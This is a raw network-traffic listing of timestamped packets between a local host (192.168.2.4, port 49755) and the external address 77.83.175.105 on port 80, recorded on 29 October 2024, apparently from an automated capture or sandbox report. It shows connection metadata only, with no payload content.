Oct 29, 2024 04:17:18.812836885 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.812865973 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.812884092 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.812886953 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.812917948 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.812917948 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.812930107 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.812937975 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.812957048 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.813000917 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.924455881 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.924483061 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.924496889 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.924510956 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.924520016 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.924523115 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.924535990 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.924565077 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.924585104 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.924618959 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.924679041 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.924690008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.924734116 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.924819946 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.924839973 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.924850941 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.924855947 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.924886942 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.925015926 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.925065041 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.925214052 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.925225973 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.925237894 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.925249100 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.925266981 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.925293922 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.925426960 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.925436974 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.925448895 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.925471067 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.925479889 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.925482988 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.925494909 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.925518990 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.925823927 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.925848007 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.925859928 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.925869942 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.925882101 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:18.925894976 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.925909996 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:18.925930977 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.036504984 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.036520004 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.036530972 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.036545038 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.036560059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.036586046 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.036593914 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.036593914 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.036612988 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.036623955 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.036633968 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.036643982 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.036654949 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.036660910 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.036660910 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.036665916 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.036676884 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.036686897 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.036688089 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.036699057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.036709070 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.036710978 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.036731005 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.036750078 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.043566942 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.043620110 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.043632984 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.043632984 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.043662071 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.043663025 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.043674946 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.043679953 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.043713093 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.043787956 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.043800116 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.043809891 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.043821096 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.043832064 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.043853045 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.043853045 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.043903112 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.044179916 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.044192076 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.044203997 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.044214964 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.044224977 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.044239998 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.044270992 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.044557095 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.044569969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.044580936 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.044591904 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.044603109 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.044614077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.044620037 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.044681072 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.044681072 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.045093060 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.045105934 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.045116901 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.045150995 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.045181990 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.045217037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.045228004 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.045238972 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.045249939 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.045255899 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.045279980 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.155159950 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.155177116 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.155189037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.155242920 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.155242920 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.155270100 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.155291080 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.155303001 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.155322075 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.155334949 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.155350924 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.155350924 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.155380011 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.155452013 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.155473948 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.155484915 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.155498981 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.155528069 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.155528069 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.155694008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.155705929 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.155718088 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.155729055 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.155750990 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.155781984 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.155920029 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.155966997 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.157340050 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.157485962 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.164026976 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.164136887 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.164148092 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.164159060 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.164180040 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.164191008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.164191008 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.164201975 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.164213896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.164225101 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.164226055 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.164226055 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.164236069 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.164247036 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.164248943 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.164263964 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.164288044 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.164366961 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.164491892 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.164504051 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.164515018 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.164576054 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.164576054 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.164696932 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.164709091 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.164720058 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.164731026 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.164741039 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.164752007 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.164756060 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.164756060 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.164763927 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.164774895 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.164782047 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.164809942 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.164809942 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.165102005 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.165350914 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.165419102 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.165430069 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.165440083 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.165452957 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.165483952 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.165518045 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.206149101 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.206177950 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.206190109 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.206223011 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.206295967 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.206810951 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.206932068 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.274199009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.274247885 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.274260044 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.274270058 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.274282932 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.274323940 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.274323940 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.274348974 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.274358988 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.274368048 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.274377108 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.274388075 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.274394989 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.274406910 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.274430990 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.274430990 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.274485111 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.274756908 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.274876118 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.274885893 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.274904966 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.274909973 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.274914980 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.274933100 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.274992943 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.281652927 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.281688929 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.281698942 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.281752110 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.281752110 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.281806946 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.281819105 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.281829119 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.281861067 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.282002926 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.282999992 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.283013105 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.283023119 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.283076048 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.283087015 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.283096075 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.283111095 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.283143997 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.283195019 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.283303022 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.283332109 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.283343077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.283354998 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.283373117 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.283416033 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.283416033 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.283447027 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.283683062 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.283699036 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.283719063 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.283729076 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.283739090 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.283752918 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.283756971 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.283756971 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.283792973 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.283840895 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.284153938 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.284166098 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.284176111 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.284236908 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.284236908 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.284282923 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.284339905 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.284353018 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.284372091 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.284410000 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.284421921 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.284439087 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.284445047 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.284466982 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.284682989 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.325490952 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.325647116 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.325659037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.325669050 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.325750113 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.325751066 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.393399954 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.393429995 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.393441916 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.393491030 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.393502951 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.393531084 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.393537045 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.393549919 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.393565893 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.393565893 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.393599987 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.393611908 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.393611908 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.393611908 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.393625975 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.393758059 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.393882990 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.393904924 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.393914938 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.393939018 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.394007921 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.401038885 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.401083946 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.401097059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.401113033 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.401118040 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.401129961 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.401150942 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.401181936 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.401181936 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.402219057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.402322054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.402342081 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.402354956 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.402364969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.402374983 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.402375937 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.402389050 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.402399063 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.402410030 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.402410984 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.402410984 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.402421951 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.402456045 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.402529955 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.402569056 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.402581930 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.402591944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.402626038 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.402708054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.402717113 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.402736902 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.402750015 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.402792931 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.402805090 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.402813911 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.402826071 CET	80	49755	77.83.175.105	192.168.2.4
